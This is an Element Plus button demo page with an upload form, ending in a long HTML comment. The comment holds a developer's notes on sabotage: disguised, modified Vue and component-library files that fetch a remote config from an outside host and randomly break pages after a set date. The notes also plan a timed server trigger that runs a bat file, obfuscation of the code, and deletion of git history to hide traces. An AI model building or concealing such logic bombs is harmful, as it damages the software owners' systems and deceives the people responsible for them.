<!DOCTYPE HTML>
<html class='dark'>
<head>
	<meta charset="utf-8">
	<title>Button 按钮</title>
	<!-- 导入样式 -->
	<!-- <link rel="stylesheet" href="//unpkg.com/element-plus/dist/index.css" /> -->
	<!-- <link rel="stylesheet" href="//cdn.jsdelivr.net/npm/element-plus/dist/index.css" /> -->
	<!-- <link rel="stylesheet" href="../static/css/element.css"> -->
	<link rel="stylesheet" href="../static/css/element2.css">
	<!-- 导入 Vue 3 -->
	<!-- <script src="//unpkg.com/vue@next"></script> -->
	<!-- <script src="//unpkg.com/vue@3"></script> -->
	<!-- <script src="//cdn.jsdelivr.net/npm/vue@3"></script> -->
	<!-- <script src="../static/js/vue.global.js"></script> -->
	<!-- <script src="../static/js/vue.global.prod2.js"></script> --> <!-- 该文件是由vue.global.prod.js格式化后稍作修改而来的（vue.global.prod0.js是格式化未修改的）【实际使用时，文件名改为vobj.js】 -->
	<script src="../static/js/vobj.js"></script>
	<!-- 导入组件库 -->
	<!-- <script src="//unpkg.com/element-plus"></script> -->
	<!-- <script src="//cdn.jsdelivr.net/npm/element-plus"></script> -->
	<!-- <script src="../static/js/element-plue.js"></script> -->
	<script src="../static/js/element-plue2.js"></script>
	
	<script src="../static/js/icons-vue.js"></script>
	
	<link rel="stylesheet" href="../static/css/com.css">

<style>
.el-button .custom-loading .circular {
  margin-right: 6px;
  width: 18px;
  height: 18px;
  animation: loading-rotate 2s linear infinite;
}
.el-button .custom-loading .circular .path {
  animation: loading-dash 1.5s ease-in-out infinite;
  stroke-dasharray: 90, 150;
  stroke-dashoffset: 0;
  stroke-width: 2;
  stroke: var(--el-button-text-color);
  stroke-linecap: round;
}
html.dark {
  /* 自定义深色背景颜色 */
  /* --el-bg-color: #626aef; */
  /* --el-color-primary: red; */
}
</style>
</head>
<body>
<div id="app" class="">
	<!-- <el-divider>Button 按钮</el-divider> -->
	<el-divider content-position="left">基础用法</el-divider><!-- =============================================================== -->
	<el-row>
		<el-button @click="hello('Default')">Default</el-button>
		<el-button type="primary" @click="hello('Primary')">Primary</el-button>
		<el-button type="success">Success</el-button>
		<el-button type="info">Info</el-button>
		<el-button type="warning">Warning</el-button>
		<el-button type="danger">Danger</el-button>
		<el-button>中文</el-button>
	</el-row>
	<br>
	
	<el-row>
		<el-button plain>Plain</el-button>
		<el-button type="primary" plain>Primary</el-button>
		<el-button type="success" plain>Success</el-button>
		<el-button type="info" plain>Info</el-button>
		<el-button type="warning" plain>Warning</el-button>
		<el-button type="danger" plain>Danger</el-button>
	</el-row>
	<br>
	
	<el-row>
		<el-button round>Round</el-button>
		<el-button type="primary" round>Primary</el-button>
		<el-button type="success" round>Success</el-button>
		<el-button type="info" round>Info</el-button>
		<el-button type="warning" round>Warning</el-button>
		<el-button type="danger" round>Danger</el-button>
	</el-row>
	<br>
	
	<el-row>
		<el-button :icon="Icons.Search" circle></el-button>
		<el-button type="primary" :icon="Icons.Edit" circle></el-button>
		<el-button type="success" :icon="Icons.Check" circle></el-button>
		<el-button type="info" :icon="Icons.Message" circle></el-button>
		<el-button type="warning" :icon="Icons.Star" circle></el-button>
		<el-button type="danger" :icon="Icons.Delete" circle></el-button>
		<el-button type="primary" circle><el-icon><Edit /></el-icon></el-button>
	</el-row>
	<br>
	
	<el-divider content-position="left">禁用状态</el-divider><!-- =============================================================== -->
	<el-row>
		<el-button disabled>Default</el-button>
		<el-button type="primary" :disabled="false">Primary</el-button>
		<el-button type="success" disabled>Success</el-button>
		<el-button type="info" disabled>Info</el-button>
		<el-button type="warning" disabled>Warning</el-button>
		<el-button type="danger" disabled>Danger</el-button>
	</el-row>
	<br>
	
	<el-row>
		<el-button plain disabled>Plain</el-button>
		<el-button type="primary" plain disabled>Primary</el-button>
		<el-button type="success" plain disabled>Success</el-button>
		<el-button type="info" plain disabled>Info</el-button>
		<el-button type="warning" plain disabled>Warning</el-button>
		<el-button type="danger" plain disabled>Danger</el-button>
	</el-row>
	<br>
	
	<el-divider content-position="left">链接按钮</el-divider><!-- =============================================================== -->
	<p>基本用法</p>
	<el-button type="" link>plain</el-button>
	<el-button type="primary" link>primary</el-button>
	<el-button type="success" link>success</el-button>
	<el-button type="info" link>info</el-button>
	<el-button type="warning" link>warning</el-button>
	<el-button type="danger" link>danger</el-button>
	<p>禁用的</p>
	<el-button type="" link disabled>plain</el-button>
	<el-button type="primary" link disabled>primary</el-button>
	<el-button type="success" link disabled>success</el-button>
	<el-button type="info" link disabled>info</el-button>
	<el-button type="warning" link disabled>warning</el-button>
	<el-button type="danger" link disabled>danger</el-button>
	<br>
	
	<el-divider content-position="left">文字按钮</el-divider><!-- =============================================================== -->
	<p>基本用法</p>
	<el-button type="" text>plain</el-button>
	<el-button type="primary" text>primary</el-button>
	<el-button type="success" text>success</el-button>
	<el-button type="info" text>info</el-button>
	<el-button type="warning" text>warning</el-button>
	<el-button type="danger" text>danger</el-button>
	<p>带背景色的</p>
	<el-button type="" text bg>plain</el-button>
	<el-button type="primary" text bg>primary</el-button>
	<el-button type="success" text bg>success</el-button>
	<el-button type="info" text bg>info</el-button>
	<el-button type="warning" text bg>warning</el-button>
	<el-button type="danger" text bg>danger</el-button>
	<p>禁用的</p>
	<el-button type="" text disabled>plain</el-button>
	<el-button type="primary" text disabled>primary</el-button>
	<el-button type="success" text disabled>success</el-button>
	<el-button type="info" text disabled>info</el-button>
	<el-button type="warning" text disabled>warning</el-button>
	<el-button type="danger" text disabled>danger</el-button>
	<br>
	<!-- const buttons = [
	  { type: '', text: 'plain' },
	  { type: 'primary', text: 'primary' },
	  { type: 'success', text: 'success' },
	  { type: 'info', text: 'info' },
	  { type: 'warning', text: 'warning' },
	  { type: 'danger', text: 'danger' },
	] as const -->
	
	<el-divider content-position="left">图标按钮</el-divider><!-- =============================================================== -->
	<el-button type="primary" :icon="Icons.Edit"></el-button>
	<el-button type="primary" :icon="Icons.Share"></el-button>
	<el-button type="primary" :icon="Icons.Delete"></el-button>
	<el-button type="primary" :icon="Icons.Search">Search</el-button>
	<el-button type="primary">
		Upload<el-icon class="el-icon--right"><Upload /></el-icon>
	</el-button>
	
	<el-button type="primary">
		<el-icon class="el-icon--left">
			<svg viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" data-v-78e17ca8=""><path fill="currentColor" d="m795.904 750.72 124.992 124.928a32 32 0 0 1-45.248 45.248L750.656 795.904a416 416 0 1 1 45.248-45.248zM480 832a352 352 0 1 0 0-704 352 352 0 0 0 0 704z"></path></svg>
		</el-icon>
		Search
	</el-button>
	
	<el-divider content-position="left">按钮组</el-divider><!-- =============================================================== -->
	<el-button-group>
		<el-button type="primary" :icon="Icons.ArrowLeft">Previous Page</el-button>
		<el-button type="primary">
			Next Page<el-icon class="el-icon--right"><Arrow-right /></el-icon>
		</el-button>
	</el-button-group>
	
	&nbsp;&nbsp;&nbsp;&nbsp;
	<el-button-group class="ml-4">
		<el-button type="primary" :icon="Icons.Edit" ></el-button>
		<el-button type="primary" :icon="Icons.Share" ></el-button>
		<el-button type="primary" :icon="Icons.Delete" ></el-button>
	</el-button-group>
	<br>
	
	<el-divider content-position="left">加载状态按钮</el-divider><!-- =============================================================== -->
	<el-button type="primary" :loading="true">Loading</el-button>
	<el-button type="primary" loading>Loading</el-button>
	<el-button type="primary" :loading-icon="Icons.Eleme" loading>Loading</el-button>
	<el-button type="primary" loading>
		<template #loading>
			<div class="custom-loading">
				<svg class="circular" viewBox="-10, -10, 50, 50"><path class="path" d="M 30 15 L 28 17 M 25.61 25.61 A 15 15, 0, 0, 1, 15 30 A 15 15, 0, 1, 1, 27.99 7.5 L 15 15" style="stroke-width: 4px; fill: rgba(0, 0, 0, 0)" /></svg>
			</div>
		</template>
		Loading
	</el-button>
	<br>
	
	<el-divider content-position="left">各种尺寸的尺寸按钮</el-divider><!-- =============================================================== -->
	<el-row>
		<el-radio-group v-model="size" label="size control">
			<el-radio-button label="large">large</el-radio-button>
			<el-radio-button label="default">default</el-radio-button>
			<el-radio-button label="small">small</el-radio-button>
		</el-radio-group>
	</el-row>
	<div style="height: 10px;"></div>
	<el-row>
		<el-button :size="size">Large</el-button>
		<el-button :size="size">Default</el-button>
		<el-button :size="size">Small</el-button>
	</el-row>
	<br>
	
	<el-divider content-position="left">自定义颜色</el-divider><!-- =============================================================== -->
	<el-row>
		<el-button color="#626aef" style="color: white">Custom</el-button>
		<el-button color="#626aef" plain>plain</el-button>
		<el-button color="#626aef" style="color: white" disabled>Custom</el-button>
		<el-button color="#626aef" plain disabled>plain</el-button>
	</el-row>
	<br>
	
	<br>
	<el-button @click="fn()">点击</el-button>
	<!-- 如果不需要传参，可以省略括号 -->
	<button v-on:click="fn">点击2</button>
	<!-- 缩写，简写 -->
	<button @click="fn">点击3</button>
	<!-- 带参数的 -->
	<el-button type="primary" @click="hello('8866')">点击4</el-button>
	<!-- <button @click="hello('8866')">点击4</button> -->
	<p>{{ message }}</p>
	<p v-html="getNum(7)"></p>
	
	
	<div class="box-cell">
		<el-divider content-position="left">上传表格</el-divider><!-- =============================================================== -->
		<el-upload ref="upload" :disabled="!allow_submit" class="upload-excel" drag action="{:url('agent/upexcel')}"
		 :before-upload="beforeAvatarUpload" :on-success="handleAvatarSuccess" :on-preview="handlePreview" :on-change="handleChange" :file-list="fileList">
			<div class="h50"></div>
			<el-icon class="el-icon--upload"><upload-filled /></el-icon>
			<div class="el-upload__text" v-if="allow_submit">拖拽文件到这里或 <em>点击上传</em></div>
			<div class="el-upload__text" v-else>没有“上传和提交”权限</div>
			<div class="h50"></div>
			<template #tip><div class="el-upload__tip">请上传小于8M的xlsx表格</div></template>
		</el-upload>
		<div class="box-submit">
			<el-button v-if="allow_submit" type="primary" @click="submitUp" class="center-botton">提交</el-button>
			<el-button v-else type="info" class="center-botton" disabled>提交</el-button>
		</div>
	</div>
	<div id="myDiv">id="myDiv"</div>
	
</div>

</body>
<script src="../static/js/jquery-3.5.1.js"></script>
<script src="../static/js/jquery-3.5.1.js"></script>
<script>
let d = $("#myDiv");
// console.log(d.text());

// let bas = Base64.encode("我是一\\段需要处理的字符123ABC");
// console.log(bas);
// console.log(Base64.decode(bas));
// dump(Math.mt_rand(3, 5));



const Main0 = {
	data() {
		return {
			Icons: ElementPlusIconsVue,
			message: 'Hello Vue!!',
			size: 'default',
		}
	},
	//实例挂载完成后被调用
	mounted(){
		this.$nextTick(function () {
			// 仅在整个视图都被渲染之后才会运行的代码
			// console.log("Start...");
			
		})
	},
	computed: {
		hasStr(){
			return function(str){
				return this.message.includes(str);
			}
		},
	},
	methods:{
		fn(){
			this.message = "欢迎来到HTML中文网。";
		},
		hello(par){
			this.message = "参数值为：" + par;
		},
	},
	//监听属性，监听器
	watch:{
		message:function(value){
			console.log("message发生了改变：" + value);
		}
	},
}

//Main的新写法
let Main = {}
Main.data = {
	Icons: ElementPlusIconsVue,
	message: 'Hello Vue!!999',
	size: 'default',
	allow_submit: true,
}

//实例挂载完成后被调用
Main.mounted = function(){
	this.$nextTick(function () {
		// 仅在整个视图都被渲染之后才会运行的代码
		console.log("Start...99");
		
	})
}

Main.computed = {
	getNum(){
		return function(num){
			return num * 10;
		}
	},
}

Main.methods = {
	fn(){
		this.message = "欢迎来到HTML中文网。";
	},
	hello(par){
		this.message = "参数值为：" + par;
	},
	
	handlePreview(file) {
		//加了 list-type="picture" 之后这里就不生效了
		console.log(file)
	},
	beforeAvatarUpload(file) {
		// console.log(file);
		const isXlsx = file.name.substr(-5) == '.xlsx';
		const isLt8M = file.size / 1024 / 1024 < 8;
		if (!isXlsx) {
			this.$message.error('上传的表格必须是 .xlsx 格式的！')
		}
		if (!isLt8M) {
			this.$message.error('上传的表格不能超过8M！')
		}
		return isXlsx && isLt8M
	},
	handleAvatarSuccess(res, file, fileList) {
		console.log(res, file, fileList);
		if(JSON.stringify(res.data) == "[]"){
			this.$message.error('表格上传失败！')
		}else{
			this.resDataPath = res.data.path;
			this.$message.success('表格上传成功，可以点提交了！')
		}
		// console.log(this.resDataPath);
	},
	handleChange(file, fileList) {
		//仅仅保留1个
		this.fileList = fileList.slice(-1)
	},
	submitUp(){
		if(this.resDataPath){
			window.location.href='/chain/set/calcto.html?excelpath=' + this.resDataPath
		}else{
			this.$message.warning("请先上传表格！");
		}
	}
	
}

Main.watch = {
	message:function(value){
		console.log("message发生了改变：" + value);
	},
}

// const app = VObj.create_app(Main); //如果在vue.global.prod2.js文件的末尾写var Vue = VObj; 则这里创建app可以直接用VObj调用构建方法
const app = createApp(Main);
for (const [key, component] of Object.entries(ElementPlusIconsVue)) {app.component(key, component)};
app.use(ElementPlus);
let vm = app.mount("#app");

// console.log(app)
</script>
</html>
<!-- 
# 二开记录：
## vue.global.prod2.js
- 首先要将一些function拷贝到Vue方法中，让这个文件看起来不像是vue.global.prod2.js
	- 在开头增加了ba();lu();jj();ov();setCk();getCk();其中jj();是关键有用的
- 其次就是一个重点，本地不能出问题（线上的，按逻辑进入相应的问题）
	- 在[4046]处，ij();里面实现
- return是致命的
	- 在[6830]处，可以使用随机逻辑return （ret_j.txt中的“ret”控制）
	- 在[6846]处，在指定日期后如（2025-01-01）（ret_j.txt中的“tar”控制），随机return（超时越久，return概率越高）
- [4105]处，ajax请求，http://qn.wgf001.top/element/ret_j.txt，得到一个obj_j，使用setCk()把得到的数字存到ret_j里面
	- 然后用getCk();取出obj_j并转换为对象[70]，以供后续使用
`obj_j解释：`
```
{
	"ij":"0.0",			//10亿循环的概率
	"ret":"0.0",		//直接return的概率（其他项都是有线上有效，但这一项不受限制）
	"tar":"1735660800",	//达到这个时间后，从第一天，到90天，概率return（90天后，100%return）
	"st":"0.0",			//st就是stop的意思，概率执行window.stop()
	"arr_r":{
		"calc":"0.0099",	//href中包含“calc”则概率return
		"my":"0.0099"		//href中包含“my”则概率return
							//可以设置更多。。。
	}
}
```
- 将返回的e.createApp()方法[6813]复制一份，在下面的e.renderSlot方法后面[7000]粘贴，并修改为e.create_app()方法。这样我们就可以用：const app = Vue.create_app(Main);
	- 另：在最先创建方法：function createApp(o){return VObj.create_app(VObj.initMain(o));} 则可以直接用：const app = createApp(Main);【initMain()组装Main】
- 将common.js嵌入到vobj.js中：
	- [5993]处：const c_obj = {原CommonObj对象中的内容}；然后在[7683]处：e.c_obj = c_obj, 则可在模板中使用：VObj.c_obj.getDate(1681695803)
- 将validate.js嵌入到vobj.js中：
	- [6389]出：const v_obj = {原ValidateObj对象中的内容}；然后在[7684]处：e.v_obj = v_obj, 则可在模板中使用：VObj.v_obj.is_float2(23.33)
	
- basejs.js 其实就是base64.js + jquery-3.5.1.js
	
	
	
2023-06-19新思路：ajax请求，http://qn.wgf001.top/element/ret_d.txt，这个请求不能每次都去请求，而是加以控制【lS['re_q'] = 7】
	控制的大概思路是：设置一个localStorage，localStorage的值为0，则必须请求，值为7，则概率请求（这样做，当改变了ret_d.txt文件后，手动把localStorage改为0，则直接更新；）
	ret_j.txt的内容存到window.localStorage中，但最好不要存明码，要存diyCode码。自定义转码的映射对象大致是以下这样的：
		objMapCode = {':':'i','"':'o','\'':'v','-':'h',a:'t',b:'y',c:':',...}
	// console.log(B_S.enDiy('{"ij":"0.0","ret":"0.0","tar":"1735660800","arr_r":{"http":"0.0"}}'));	//jo9+PH4Z4YubBl4z459tSl4Z4YubBl4z452qgH4Z4YheBWrNmYunBCuHdl9qg59MgH4Zjo90SI2F4Y0HBlnF456G

2023-06-29新想法：window.stop();停止页面载入。该方法类似在浏览器上点击停止载入按钮。
2025-04-25在basejs.js的[1255]处实现了

2023-07-06：element-plue2.js文件：
	:11111处：判断各种必须变量，如果没有，则return【这会导致不报错，但组件无法正常渲染】
	:22222处：必须变量有了之后，判断变量的值，按概率触发各类问题


★★★★★★★★★★★★★★★★★★★★★★  重要 - 封存代码需要做的事：   ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
## 去掉代码注释，加壳
## 去掉MySQL字段注释
## 需要删除的页面：
	http://oa.qiqiao.com/hr/open/req
## 在TP底层实现一个触发器，指定时间概率触发，触发后执行服务器上的bat文件。bat文件修改整个phpstudy_pro文件夹
## www目录下oa中的.git目录干掉（卸载Git软件，就当它不存在过）
## tp模块一定要去掉（tp模块已经加入了SNV的忽略目录，所以把工作电脑中的tp目录直接干掉就可以了）

# vobj.js下：
## arr_dm.push('q'+'i'+'q'+'i'+'a'+'o');这一句要去掉【basejs.js下也要删这一句】





# D:/phpstudy_pro/WWW/oas/app201/chain/controller/Sourcing.php
## $seek_group_id = $User->getGidByUidWithAllUser($sid);	//这一行真好用：根据uid查询他的group_id（如果User中查不到，去UserDel里面查）
	这么好用的代码处理了员工离职的问题，还是换回这样吧：
	$seek_group_id = $User->where(['user_id' => $sid])->column('group_id');	//这样离职的人，对于在职的，就无权限了，即使是同一个组的，离职了就像不是同一个组的一样

★★★★★★★★★★★★★★★★★★★★★★  重要    ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★



 -->